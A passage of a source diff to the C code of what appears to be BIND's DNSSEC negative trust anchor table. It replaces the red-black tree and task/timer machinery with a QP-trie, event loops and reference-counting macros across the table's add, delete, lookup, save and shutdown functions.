-		if (dns_rdataset_isassociated(&nta->rdataset)) {
-			dns_rdataset_disassociate(&nta->rdataset);
-		}
-		if (dns_rdataset_isassociated(&nta->sigrdataset)) {
-			dns_rdataset_disassociate(&nta->sigrdataset);
-		}
-		if (nta->fetch != NULL) {
-			dns_resolver_cancelfetch(nta->fetch);
-			dns_resolver_destroyfetch(&nta->fetch);
-		}
-		isc_mem_put(mctx, nta, sizeof(dns_nta_t));
-	}
-}
+qp_attach(void *uctx, void *pval, uint32_t ival);
+static void
+qp_detach(void *uctx, void *pval, uint32_t ival);
+static size_t
+qp_makekey(dns_qpkey_t key, void *uctx, void *pval, uint32_t ival);
+static void
+qp_triename(void *uctx, char *buf, size_t size);
+
+static dns_qpmethods_t qpmethods = {
+	qp_attach,
+	qp_detach,
+	qp_makekey,
+	qp_triename,
+};
 
 static void
-free_nta(void *data, void *arg) {
-	dns_nta_t *nta = (dns_nta_t *)data;
-	isc_mem_t *mctx = (isc_mem_t *)arg;
+dns__nta_destroy(dns__nta_t *nta) {
+	REQUIRE(nta->timer == NULL);
 
-	nta_detach(mctx, &nta);
+	nta->magic = 0;
+	isc_refcount_destroy(&nta->references);
+	if (dns_rdataset_isassociated(&nta->rdataset)) {
+		dns_rdataset_disassociate(&nta->rdataset);
+	}
+	if (dns_rdataset_isassociated(&nta->sigrdataset)) {
+		dns_rdataset_disassociate(&nta->sigrdataset);
+	}
+	if (nta->fetch != NULL) {
+		dns_resolver_cancelfetch(nta->fetch);
+		dns_resolver_destroyfetch(&nta->fetch);
+	}
+	isc_loop_detach(&nta->loop);
+	isc_mem_putanddetach(&nta->mctx, nta, sizeof(*nta));
 }
 
-isc_result_t
-dns_ntatable_create(dns_view_t *view, isc_taskmgr_t *taskmgr,
-		    isc_timermgr_t *timermgr, dns_ntatable_t **ntatablep) {
-	dns_ntatable_t *ntatable;
-	isc_result_t result;
+#if DNS_NTA_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns__nta, dns__nta_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns__nta, dns__nta_destroy);
+#endif
+
+void
+dns_ntatable_create(dns_view_t *view, isc_loopmgr_t *loopmgr,
+		    dns_ntatable_t **ntatablep) {
+	dns_ntatable_t *ntatable = NULL;
 
 	REQUIRE(ntatablep != NULL && *ntatablep == NULL);
 
 	ntatable = isc_mem_get(view->mctx, sizeof(*ntatable));
+	*ntatable = (dns_ntatable_t){
+		.loopmgr = loopmgr,
+	};
 
-	ntatable->task = NULL;
-	result = isc_task_create(taskmgr, 0, &ntatable->task);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_ntatable;
-	}
-	isc_task_setname(ntatable->task, "ntatable", ntatable);
-
-	ntatable->table = NULL;
-	result = dns_rbt_create(view->mctx, free_nta, view->mctx,
-				&ntatable->table);
-	if (result != ISC_R_SUCCESS) {
-		goto cleanup_task;
-	}
-
-	isc_rwlock_init(&ntatable->rwlock, 0, 0);
+	isc_mem_attach(view->mctx, &ntatable->mctx);
+	dns_view_weakattach(view, &ntatable->view);
 
-	ntatable->shuttingdown = false;
-	ntatable->timermgr = timermgr;
-	ntatable->taskmgr = taskmgr;
+	isc_rwlock_init(&ntatable->rwlock);
+	dns_qpmulti_create(view->mctx, &qpmethods, view, &ntatable->table);
 
-	ntatable->view = view;
 	isc_refcount_init(&ntatable->references, 1);
 
 	ntatable->magic = NTATABLE_MAGIC;
 	*ntatablep = ntatable;
-
-	return (ISC_R_SUCCESS);
-
-cleanup_task:
-	isc_task_detach(&ntatable->task);
-
-cleanup_ntatable:
-	isc_mem_put(view->mctx, ntatable, sizeof(*ntatable));
-
-	return (result);
 }
 
-void
-dns_ntatable_attach(dns_ntatable_t *source, dns_ntatable_t **targetp) {
-	REQUIRE(VALID_NTATABLE(source));
-	REQUIRE(targetp != NULL && *targetp == NULL);
-
-	isc_refcount_increment(&source->references);
-
-	*targetp = source;
+static void
+dns__ntatable_destroy(dns_ntatable_t *ntatable) {
+	isc_refcount_destroy(&ntatable->references);
+	ntatable->magic = 0;
+	isc_rwlock_destroy(&ntatable->rwlock);
+	dns_qpmulti_destroy(&ntatable->table);
+	INSIST(ntatable->view == NULL);
+	isc_mem_putanddetach(&ntatable->mctx, ntatable, sizeof(*ntatable));
 }
 
-void
-dns_ntatable_detach(dns_ntatable_t **ntatablep) {
-	dns_ntatable_t *ntatable;
-
-	REQUIRE(ntatablep != NULL && VALID_NTATABLE(*ntatablep));
-
-	ntatable = *ntatablep;
-	*ntatablep = NULL;
-
-	if (isc_refcount_decrement(&ntatable->references) == 1) {
-		dns_rbt_destroy(&ntatable->table);
-		isc_rwlock_destroy(&ntatable->rwlock);
-		isc_refcount_destroy(&ntatable->references);
-		if (ntatable->task != NULL) {
-			isc_task_detach(&ntatable->task);
-		}
-		ntatable->timermgr = NULL;
-		ntatable->taskmgr = NULL;
-		ntatable->magic = 0;
-		isc_mem_put(ntatable->view->mctx, ntatable, sizeof(*ntatable));
-	}
-}
+#if DNS_NTA_TRACE
+ISC_REFCOUNT_TRACE_IMPL(dns_ntatable, dns__ntatable_destroy);
+#else
+ISC_REFCOUNT_IMPL(dns_ntatable, dns__ntatable_destroy);
+#endif
 
 static void
-fetch_done(isc_task_t *task, isc_event_t *event) {
-	dns_fetchevent_t *devent = (dns_fetchevent_t *)event;
-	dns_nta_t *nta = devent->ev_arg;
-	isc_result_t eresult = devent->result;
+fetch_done(void *arg) {
+	dns_fetchresponse_t *resp = (dns_fetchresponse_t *)arg;
+	dns__nta_t *nta = resp->arg;
+	isc_result_t eresult = resp->result;
 	dns_ntatable_t *ntatable = nta->ntatable;
 	dns_view_t *view = ntatable->view;
-	isc_stdtime_t now;
-
-	UNUSED(task);
+	isc_stdtime_t now = isc_stdtime_now();
 
 	if (dns_rdataset_isassociated(&nta->rdataset)) {
 		dns_rdataset_disassociate(&nta->rdataset);
@@ -196,20 +169,19 @@ fetch_done(isc_task_t *task, isc_event_t *event) {
 	if (dns_rdataset_isassociated(&nta->sigrdataset)) {
 		dns_rdataset_disassociate(&nta->sigrdataset);
 	}
-	if (nta->fetch == devent->fetch) {
+	if (nta->fetch == resp->fetch) {
 		nta->fetch = NULL;
 	}
-	dns_resolver_destroyfetch(&devent->fetch);
+	dns_resolver_destroyfetch(&resp->fetch);
 
-	if (devent->node != NULL) {
-		dns_db_detachnode(devent->db, &devent->node);
+	if (resp->node != NULL) {
+		dns_db_detachnode(resp->db, &resp->node);
 	}
-	if (devent->db != NULL) {
-		dns_db_detach(&devent->db);
+	if (resp->db != NULL) {
+		dns_db_detach(&resp->db);
 	}
 
-	isc_event_free(&event);
-	isc_stdtime_get(&now);
+	isc_mem_putanddetach(&resp->mctx, resp, sizeof(*resp));
 
 	switch (eresult) {
 	case ISC_R_SUCCESS:
@@ -217,9 +189,11 @@ fetch_done(isc_task_t *task, isc_event_t *event) {
 	case DNS_R_NXDOMAIN:
 	case DNS_R_NCACHENXRRSET:
 	case DNS_R_NXRRSET:
+		RWLOCK(&ntatable->rwlock, isc_rwlocktype_write);
 		if (nta->expiry > now) {
 			nta->expiry = now;
 		}
+		RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_write);
 		break;
 	default:
 		break;
@@ -229,19 +203,20 @@ fetch_done(isc_task_t *task, isc_event_t *event) {
 	 * If we're expiring before the next recheck, we might
 	 * as well stop the timer now.
 	 */
+	RWLOCK(&ntatable->rwlock, isc_rwlocktype_read);
 	if (nta->timer != NULL && nta->expiry - now < view->nta_recheck) {
-		(void)isc_timer_reset(nta->timer, isc_timertype_inactive, NULL,
-				      NULL, true);
+		isc_timer_stop(nta->timer);
 	}
-	nta_detach(view->mctx, &nta);
-	dns_view_weakdetach(&view);
+	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_read);
+
+	dns__nta_detach(&nta); /* for dns_resolver_createfetch() */
 }
 
 static void
-checkbogus(isc_task_t *task, isc_event_t *event) {
-	dns_nta_t *nta = event->ev_arg;
+checkbogus(void *arg) {
+	dns__nta_t *nta = arg;
 	dns_ntatable_t *ntatable = nta->ntatable;
-	dns_view_t *view = NULL;
+	dns_resolver_t *resolver = NULL;
 	isc_result_t result;
 
 	if (nta->fetch != NULL) {
@@ -255,242 +230,225 @@ checkbogus(isc_task_t *task, isc_event_t *event) {
 		dns_rdataset_disassociate(&nta->sigrdataset);
 	}
 
-	isc_event_free(&event);
+	if (atomic_load(&ntatable->shuttingdown)) {
+		isc_timer_stop(nta->timer);
+		return;
+	}
+
+	result = dns_view_getresolver(ntatable->view, &resolver);
+	if (result != ISC_R_SUCCESS) {
+		return;
+	}
 
-	nta_ref(nta);
-	dns_view_weakattach(ntatable->view, &view);
+	dns__nta_ref(nta); /* for dns_resolver_createfetch */
 	result = dns_resolver_createfetch(
-		view->resolver, nta->name, dns_rdatatype_nsec, NULL, NULL, NULL,
-		NULL, 0, DNS_FETCHOPT_NONTA, 0, NULL, task, fetch_done, nta,
+		resolver, nta->name, dns_rdatatype_nsec, NULL, NULL, NULL, NULL,
+		0, DNS_FETCHOPT_NONTA, 0, NULL, nta->loop, fetch_done, nta,
 		&nta->rdataset, &nta->sigrdataset, &nta->fetch);
 	if (result != ISC_R_SUCCESS) {
-		nta_detach(view->mctx, &nta);
-		dns_view_weakdetach(&view);
+		dns__nta_detach(&nta); /* for dns_resolver_createfetch() */
 	}
+	dns_resolver_detach(&resolver);
 }
 
-static isc_result_t
-settimer(dns_ntatable_t *ntatable, dns_nta_t *nta, uint32_t lifetime) {
-	isc_result_t result;
+static void
+settimer(dns_ntatable_t *ntatable, dns__nta_t *nta, uint32_t lifetime) {
+	dns_view_t *view = NULL;
 	isc_interval_t interval;
-	dns_view_t *view;
 
 	REQUIRE(VALID_NTATABLE(ntatable));
 	REQUIRE(VALID_NTA(nta));
 
-	if (ntatable->timermgr == NULL) {
-		return (ISC_R_SUCCESS);
-	}
-
 	view = ntatable->view;
 	if (view->nta_recheck == 0 || lifetime <= view->nta_recheck) {
-		return (ISC_R_SUCCESS);
+		return;
 	}
 
+	isc_timer_create(nta->loop, checkbogus, nta, &nta->timer);
 	isc_interval_set(&interval, view->nta_recheck, 0);
-	result = isc_timer_create(ntatable->timermgr, isc_timertype_ticker,
-				  NULL, &interval, ntatable->task, checkbogus,
-				  nta, &nta->timer);
-	return (result);
+	isc_timer_start(nta->timer, isc_timertype_ticker, &interval);
 }
 
-static isc_result_t
+static void
 nta_create(dns_ntatable_t *ntatable, const dns_name_t *name,
-	   dns_nta_t **target) {
-	dns_nta_t *nta = NULL;
-	dns_view_t *view;
+	   dns__nta_t **target) {
+	dns__nta_t *nta = NULL;
 
 	REQUIRE(VALID_NTATABLE(ntatable));
 	REQUIRE(target != NULL && *target == NULL);
 
-	view = ntatable->view;
-
-	nta = isc_mem_get(view->mctx, sizeof(dns_nta_t));
+	nta = isc_mem_get(ntatable->mctx, sizeof(dns__nta_t));
+	*nta = (dns__nta_t){
+		.ntatable = ntatable,
+		.magic = NTA_MAGIC,
+	};
+	isc_mem_attach(ntatable->mctx, &nta->mctx);
+	isc_loop_attach(isc_loop_current(ntatable->loopmgr), &nta->loop);
 
-	nta->ntatable = ntatable;
-	nta->expiry = 0;
-	nta->timer = NULL;
-	nta->fetch = NULL;
 	dns_rdataset_init(&nta->rdataset);
 	dns_rdataset_init(&nta->sigrdataset);
 
-	isc_refcount_init(&nta->refcount, 1);
+	isc_refcount_init(&nta->references, 1);
 
 	nta->name = dns_fixedname_initname(&nta->fn);
 	dns_name_copy(name, nta->name);
 
-	nta->magic = NTA_MAGIC;
-
 	*target = nta;
-	return (ISC_R_SUCCESS);
 }
 
 isc_result_t
 dns_ntatable_add(dns_ntatable_t *ntatable, const dns_name_t *name, bool force,
 		 isc_stdtime_t now, uint32_t lifetime) {
 	isc_result_t result = ISC_R_SUCCESS;
-	dns_nta_t *nta = NULL;
-	dns_rbtnode_t *node;
-	dns_view_t *view;
+	dns__nta_t *nta = NULL;
+	dns_qp_t *qp = NULL;
+	void *pval = NULL;
 
 	REQUIRE(VALID_NTATABLE(ntatable));
 
-	view = ntatable->view;
-
-	RWLOCK(&ntatable->rwlock, isc_rwlocktype_write);
-
-	if (ntatable->shuttingdown) {
-		goto unlock;
-	}
-
-	result = nta_create(ntatable, name, &nta);
-	if (result != ISC_R_SUCCESS) {
-		goto unlock;
+	if (atomic_load(&ntatable->shuttingdown)) {
+		return (ISC_R_SUCCESS);
 	}
 
-	nta->expiry = now + lifetime;
+	RWLOCK(&ntatable->rwlock, isc_rwlocktype_write);
+	dns_qpmulti_write(ntatable->table, &qp);
+	nta_create(ntatable, name, &nta);
 	nta->forced = force;
 
-	node = NULL;
-	result = dns_rbt_addnode(ntatable->table, name, &node);
-	if (result == ISC_R_SUCCESS) {
-		if (!force) {
-			(void)settimer(ntatable, nta, lifetime);
+	result = dns_qp_insert(qp, nta, 0);
+	switch (result) {
+	case ISC_R_EXISTS:
+		result = dns_qp_getname(qp, nta->name, &pval, NULL);
+		if (result == ISC_R_SUCCESS) {
+			/*
+			 * an NTA already existed: throw away the
+			 * new one and update the old one.
+			 */
+			dns__nta_detach(&nta); /* for nta_create */
+			nta = pval;
+			break;
 		}
-		node->data = nta;
-		nta = NULL;
-	} else if (result == ISC_R_EXISTS) {
-		dns_nta_t *n = node->data;
-		if (n == NULL) {
-			if (!force) {
-				(void)settimer(ntatable, nta, lifetime);
-			}
-			node->data = nta;
-			nta = NULL;
-		} else {
-			n->expiry = nta->expiry;
-			nta_detach(view->mctx, &nta);
+		/* update the NTA's timer as if it were new */
+		FALLTHROUGH;
+	case ISC_R_SUCCESS:
+		nta->expiry = now + lifetime;
+		if (!force) {
+			settimer(ntatable, nta, lifetime);
 		}
-		result = ISC_R_SUCCESS;
+		break;
+	default:
+		break;
 	}
 
-unlock:
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(ntatable->table, &qp);
 	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_write);
 
-	if (nta != NULL) {
-		nta_detach(view->mctx, &nta);
-	}
-
 	return (result);
 }
 
-/*
- * Caller must hold a write lock on rwlock.
- */
-static isc_result_t
-deletenode(dns_ntatable_t *ntatable, const dns_name_t *name) {
+isc_result_t
+dns_ntatable_delete(dns_ntatable_t *ntatable, const dns_name_t *name) {
 	isc_result_t result;
-	dns_rbtnode_t *node = NULL;
+	dns_qp_t *qp = NULL;
+	void *pval = NULL;
 
 	REQUIRE(VALID_NTATABLE(ntatable));
 	REQUIRE(name != NULL);
 
-	result = dns_rbt_findnode(ntatable->table, name, NULL, &node, NULL,
-				  DNS_RBTFIND_NOOPTIONS, NULL, NULL);
+	dns_qpmulti_write(ntatable->table, &qp);
+	result = dns_qp_deletename(qp, name, &pval, NULL);
 	if (result == ISC_R_SUCCESS) {
-		if (node->data != NULL) {
-			result = dns_rbt_deletenode(ntatable->table, node,
-						    false);
-		} else {
-			result = ISC_R_NOTFOUND;
-		}
-	} else if (result == DNS_R_PARTIALMATCH) {
-		result = ISC_R_NOTFOUND;
+		dns__nta_t *n = pval;
+		dns__nta_shutdown(n);
+		dns__nta_detach(&n);
 	}
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(ntatable->table, &qp);
 
 	return (result);
 }
 
-isc_result_t
-dns_ntatable_delete(dns_ntatable_t *ntatable, const dns_name_t *name) {
+static void
+delete_expired(void *arg) {
+	dns__nta_t *nta = arg;
+	dns_ntatable_t *ntatable = nta->ntatable;
 	isc_result_t result;
+	dns_qp_t *qp = NULL;
+	void *pval = NULL;
+
+	REQUIRE(VALID_NTATABLE(ntatable));
 
 	RWLOCK(&ntatable->rwlock, isc_rwlocktype_write);
-	result = deletenode(ntatable, name);
+	dns_qpmulti_write(ntatable->table, &qp);
+	result = dns_qp_getname(qp, nta->name, &pval, NULL);
+	if (result == ISC_R_SUCCESS &&
+	    ((dns__nta_t *)pval)->expiry == nta->expiry && !nta->shuttingdown)
+	{
+		char nb[DNS_NAME_FORMATSIZE];
+		dns_name_format(nta->name, nb, sizeof(nb));
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
+			      DNS_LOGMODULE_NTA, ISC_LOG_INFO,
+			      "deleting expired NTA at %s", nb);
+		dns_qp_deletename(qp, nta->name, NULL, NULL);
+		dns__nta_shutdown(nta);
+		dns__nta_unref(nta);
+	}
+	dns_qp_compact(qp, DNS_QPGC_MAYBE);
+	dns_qpmulti_commit(ntatable->table, &qp);
 	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_write);
-
-	return (result);
+	dns__nta_detach(&nta);
+	dns_ntatable_detach(&ntatable);
 }
 
 bool
 dns_ntatable_covered(dns_ntatable_t *ntatable, isc_stdtime_t now,
 		     const dns_name_t *name, const dns_name_t *anchor) {
 	isc_result_t result;
-	dns_fixedname_t fn;
-	dns_rbtnode_t *node;
-	dns_name_t *foundname;
-	dns_nta_t *nta = NULL;
+	dns__nta_t *nta = NULL;
 	bool answer = false;
-	isc_rwlocktype_t locktype = isc_rwlocktype_read;
+	dns_qpread_t qpr;
+	void *pval = NULL;
 
-	REQUIRE(ntatable == NULL || VALID_NTATABLE(ntatable));
+	REQUIRE(VALID_NTATABLE(ntatable));
 	REQUIRE(dns_name_isabsolute(name));
 
-	if (ntatable == NULL) {
-		return (false);
-	}
+	RWLOCK(&ntatable->rwlock, isc_rwlocktype_read);
+	dns_qpmulti_query(ntatable->table, &qpr);
+	result = dns_qp_findname_ancestor(&qpr, name, 0, &pval, NULL);
+	nta = pval;
 
-	foundname = dns_fixedname_initname(&fn);
-
-relock:
-	RWLOCK(&ntatable->rwlock, locktype);
-again:
-	node = NULL;
-	result = dns_rbt_findnode(ntatable->table, name, foundname, &node, NULL,
-				  DNS_RBTFIND_NOOPTIONS, NULL, NULL);
-	if (result == DNS_R_PARTIALMATCH) {
-		if (dns_name_issubdomain(foundname, anchor)) {
-			result = ISC_R_SUCCESS;
+	switch (result) {
+	case ISC_R_SUCCESS:
+		/* Exact match */
+		break;
+	case DNS_R_PARTIALMATCH:
+		/*
+		 * Found a NTA that's an ancestor of 'name'; we
+		 * now have to make sure 'anchor' isn't below it.
+		 */
+		if (!dns_name_issubdomain(nta->name, anchor)) {
+			goto done;
 		}
-	}
-	if (result == ISC_R_SUCCESS) {
-		nta = (dns_nta_t *)node->data;
-		answer = (nta->expiry > now);
+		/* Ancestor match */
+		break;
+	default:
+		/* Found nothing */
+		goto done;
 	}
 
-	/* Deal with expired NTA */
-	if (result == ISC_R_SUCCESS && !answer) {
-		char nb[DNS_NAME_FORMATSIZE];
-
-		if (locktype == isc_rwlocktype_read) {
-			RWUNLOCK(&ntatable->rwlock, locktype);
-			locktype = isc_rwlocktype_write;
-			goto relock;
-		}
-
-		dns_name_format(foundname, nb, sizeof(nb));
-		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
-			      DNS_LOGMODULE_NTA, ISC_LOG_INFO,
-			      "deleting expired NTA at %s", nb);
-
-		if (nta->timer != NULL) {
-			(void)isc_timer_reset(nta->timer,
-					      isc_timertype_inactive, NULL,
-					      NULL, true);
-			isc_timer_detach(&nta->timer);
-		}
-
-		result = deletenode(ntatable, foundname);
-		if (result != ISC_R_SUCCESS) {
-			isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
-				      DNS_LOGMODULE_NTA, ISC_LOG_INFO,
-				      "deleting NTA failed: %s",
-				      isc_result_totext(result));
-		}
-		goto again;
+	if (nta->expiry <= now) {
+		/* NTA is expired */
+		dns__nta_ref(nta);
+		dns_ntatable_ref(nta->ntatable);
+		isc_async_current(nta->ntatable->loopmgr, delete_expired, nta);
+		goto done;
 	}
-	RWUNLOCK(&ntatable->rwlock, locktype);
 
+	answer = true;
+done:
+	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_read);
+	dns_qpread_destroy(ntatable->table, &qpr);
 	return (answer);
 }
 
@@ -498,7 +456,7 @@ static isc_result_t
 putstr(isc_buffer_t **b, const char *str) {
 	isc_result_t result;
 
-	result = isc_buffer_reserve(b, strlen(str));
+	result = isc_buffer_reserve(*b, strlen(str));
 	if (result != ISC_R_SUCCESS) {
 		return (result);
 	}
@@ -510,189 +468,193 @@ putstr(isc_buffer_t **b, const char *str) {
 isc_result_t
 dns_ntatable_totext(dns_ntatable_t *ntatable, const char *view,
 		    isc_buffer_t **buf) {
-	isc_result_t result;
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_stdtime_t now = isc_stdtime_now();
+	dns_qpread_t qpr;
+	dns_qpiter_t iter;
 	bool first = true;
-	isc_stdtime_t now;
+	void *pval = NULL;
 
 	REQUIRE(VALID_NTATABLE(ntatable));
 
-	isc_stdtime_get(&now);
-
 	RWLOCK(&ntatable->rwlock, isc_rwlocktype_read);
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, ntatable->table, NULL, NULL);
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		if (result == ISC_R_NOTFOUND) {
-			result = ISC_R_SUCCESS;
-		}
-		goto cleanup;
-	}
-	for (;;) {
-		dns_rbtnodechain_current(&chain, NULL, NULL, &node);
-		if (node->data != NULL) {
-			dns_nta_t *n = (dns_nta_t *)node->data;
-			char nbuf[DNS_NAME_FORMATSIZE];
-			char tbuf[ISC_FORMATHTTPTIMESTAMP_SIZE];
-			char obuf[DNS_NAME_FORMATSIZE +
-				  ISC_FORMATHTTPTIMESTAMP_SIZE +
-				  sizeof("expired:  \n")];
-			dns_fixedname_t fn;
-			dns_name_t *name;
-			isc_time_t t;
-
-			name = dns_fixedname_initname(&fn);
-			dns_rbt_fullnamefromnode(node, name);
-			dns_name_format(name, nbuf, sizeof(nbuf));
-
-			if (n->expiry != 0xffffffffU) {
-				/* Normal NTA entries */
-				isc_time_set(&t, n->expiry, 0);
-				isc_time_formattimestamp(&t, tbuf,
-							 sizeof(tbuf));
-
-				snprintf(obuf, sizeof(obuf), "%s%s%s%s: %s %s",
-					 first ? "" : "\n", nbuf,
-					 view != NULL ? "/" : "",
-					 view != NULL ? view : "",
-					 n->expiry <= now ? "expired"
-							  : "expiry",
-					 tbuf);
-			} else {
-				/* "validate-except" entries */
-				snprintf(obuf, sizeof(obuf), "%s%s%s%s: %s",
-					 first ? "" : "\n", nbuf,
-					 view != NULL ? "/" : "",
-					 view != NULL ? view : "", "permanent");
-			}
-
-			first = false;
-			result = putstr(buf, obuf);
-			if (result != ISC_R_SUCCESS) {
-				goto cleanup;
-			}
+	dns_qpmulti_query(ntatable->table, &qpr);
+	dns_qpiter_init(&qpr, &iter);
+
+	while (dns_qpiter_next(&iter, &pval, NULL) == ISC_R_SUCCESS) {
+		dns__nta_t *n = pval;
+		char nbuf[DNS_NAME_FORMATSIZE];
+		char tbuf[ISC_FORMATHTTPTIMESTAMP_SIZE];
+		char obuf[DNS_NAME_FORMATSIZE + ISC_FORMATHTTPTIMESTAMP_SIZE +
+			  sizeof("expired:  \n")];
+		isc_time_t t;
+
+		dns_name_format(n->name, nbuf, sizeof(nbuf));
+
+		if (n->expiry != 0xffffffffU) {
+			/* Normal NTA entries */
+			isc_time_set(&t, n->expiry, 0);
+			isc_time_formattimestamp(&t, tbuf, sizeof(tbuf));
+
+			snprintf(obuf, sizeof(obuf), "%s%s%s%s: %s %s",
+				 first ? "" : "\n", nbuf,
+				 view != NULL ? "/" : "",
+				 view != NULL ? view : "",
+				 n->expiry <= now ? "expired" : "expiry", tbuf);
+		} else {
+			/* "validate-except" entries */
+			snprintf(obuf, sizeof(obuf), "%s%s%s%s: %s",
+				 first ? "" : "\n", nbuf,
+				 view != NULL ? "/" : "",
+				 view != NULL ? view : "", "permanent");
 		}
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			if (result == ISC_R_NOMORE) {
-				result = ISC_R_SUCCESS;
-			}
-			break;
+
+		first = false;
+		result = putstr(buf, obuf);
+		if (result != ISC_R_SUCCESS) {
+			goto cleanup;
 		}
 	}
 
 cleanup:
-	dns_rbtnodechain_invalidate(&chain);
+	dns_qpread_destroy(ntatable->table, &qpr);
 	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_read);
 	return (result);
 }
 
 isc_result_t
 dns_ntatable_save(dns_ntatable_t *ntatable, FILE *fp) {
-	isc_result_t result;
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
-	isc_stdtime_t now;
+	isc_result_t result = ISC_R_SUCCESS;
+	isc_stdtime_t now = isc_stdtime_now();
+	dns_qpread_t qpr;
+	dns_qpiter_t iter;
 	bool written = false;
+	void *pval = NULL;
 
 	REQUIRE(VALID_NTATABLE(ntatable));
 
-	isc_stdtime_get(&now);
-
 	RWLOCK(&ntatable->rwlock, isc_rwlocktype_read);
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, ntatable->table, NULL, NULL);
-	if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-		goto cleanup;
-	}
-
-	for (;;) {
-		dns_rbtnodechain_current(&chain, NULL, NULL, &node);
-		if (node->data != NULL) {
-			isc_buffer_t b;
-			char nbuf[DNS_NAME_FORMATSIZE + 1], tbuf[80];
-			dns_fixedname_t fn;
-			dns_name_t *name;
-			dns_nta_t *n = (dns_nta_t *)node->data;
+	dns_qpmulti_query(ntatable->table, &qpr);
+	dns_qpiter_init(&qpr, &iter);
+
+	while (dns_qpiter_next(&iter, &pval, NULL) == ISC_R_SUCCESS) {
+		dns__nta_t *n = pval;
+		isc_buffer_t b;
+		char nbuf[DNS_NAME_FORMATSIZE + 1], tbuf[80];
+
+		/*
+		 * Skip this node if the expiry is already in the
+		 * past, or if this is a "validate-except" entry.
+		 */
+		if (n->expiry <= now || n->expiry == 0xffffffffU) {
+			continue;
+		}
 
-			/*
-			 * Skip this node if the expiry is already in the
-			 * past, or if this is a "validate-except" entry.
-			 */
-			if (n->expiry <= now || n->expiry == 0xffffffffU) {
-				goto skip;
-			}
+		isc_buffer_init(&b, nbuf, sizeof(nbuf));
+		result = dns_name_totext(n->name, 0, &b);
+		if (result != ISC_R_SUCCESS) {
+			continue;
+		}
 
-			name = dns_fixedname_initname(&fn);
-			dns_rbt_fullnamefromnode(node, name);
+		/* Zero terminate */
+		isc_buffer_putuint8(&b, 0);
 
-			isc_buffer_init(&b, nbuf, sizeof(nbuf));
-			result = dns_name_totext(name, false, &b);
-			if (result != ISC_R_SUCCESS) {
-				goto skip;
-			}
+		isc_buffer_init(&b, tbuf, sizeof(tbuf));
+		dns_time32_totext(n->expiry, &b);
 
-			/* Zero terminate. */
-			isc_buffer_putuint8(&b, 0);
+		/* Zero terminate */
+		isc_buffer_putuint8(&b, 0);
 
-			isc_buffer_init(&b, tbuf, sizeof(tbuf));
-			dns_time32_totext(n->expiry, &b);
+		fprintf(fp, "%s %s %s\n", nbuf,
+			n->forced ? "forced" : "regular", tbuf);
+		written = true;
+	}
 
-			/* Zero terminate. */
-			isc_buffer_putuint8(&b, 0);
+	dns_qpread_destroy(ntatable->table, &qpr);
+	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_read);
 
-			fprintf(fp, "%s %s %s\n", nbuf,
-				n->forced ? "forced" : "regular", tbuf);
-			written = true;
-		}
-	skip:
-		result = dns_rbtnodechain_next(&chain, NULL, NULL);
-		if (result != ISC_R_SUCCESS && result != DNS_R_NEWORIGIN) {
-			if (result == ISC_R_NOMORE) {
-				result = ISC_R_SUCCESS;
-			}
-			break;
-		}
+	if (result == ISC_R_SUCCESS && !written) {
+		result = ISC_R_NOTFOUND;
 	}
 
-cleanup:
-	dns_rbtnodechain_invalidate(&chain);
-	RWUNLOCK(&ntatable->rwlock, isc_rwlocktype_read);
+	return (result);
+}
 
-	if (result != ISC_R_SUCCESS) {
-		return (result);
-	} else {
-		return (written ? ISC_R_SUCCESS : ISC_R_NOTFOUND);
+static void
+dns__nta_shutdown_cb(dns__nta_t *nta) {
+	REQUIRE(VALID_NTA(nta));
+
+	if (isc_log_wouldlog(dns_lctx, ISC_LOG_DEBUG(3))) {
+		char nb[DNS_NAME_FORMATSIZE];
+		dns_name_format(nta->name, nb, sizeof(nb));
+		isc_log_write(dns_lctx, DNS_LOGCATEGORY_DNSSEC,
+			      DNS_LOGMODULE_NTA, ISC_LOG_DEBUG(3),
+			      "shutting down NTA %p at %s", nta, nb);
+	}
+	if (nta->timer) {
+		isc_timer_stop(nta->timer);
+		isc_timer_destroy(&nta->timer);
 	}
+
+	dns__nta_detach(&nta);
+}
+
+static void
+dns__nta_shutdown(dns__nta_t *nta) {
+	REQUIRE(VALID_NTA(nta));
+
+	dns__nta_ref(nta);
+	isc_async_run(nta->loop, (isc_job_cb)dns__nta_shutdown_cb, nta);
+	nta->shuttingdown = true;
 }
 
 void
 dns_ntatable_shutdown(dns_ntatable_t *ntatable) {
-	isc_result_t result;
-	dns_rbtnode_t *node;
-	dns_rbtnodechain_t chain;
+	dns_qpread_t qpr;
+	dns_qpiter_t iter;
+	void *pval = NULL;
 
 	REQUIRE(VALID_NTATABLE(ntatable));
 
 	RWLOCK(&ntatable->rwlock, isc_rwlocktype_write);
+	dns_qpmulti_query(ntatable->table, &qpr);
 	ntatable->shuttingdown = true;
 
-	dns_rbtnodechain_init(&chain);
-	result = dns_rbtnodechain_first(&chain, ntatable->table, NULL, NULL);
-	while (result == ISC_R_SUCCESS || result == DNS_R_NEWORIGIN) {
-		dns_rbtnodechain_current(&chain, NULL, NULL, &node);
-		if (node->data != NULL) {
-			dns_nta_t *nta = (dns_nta_t *)node->data;
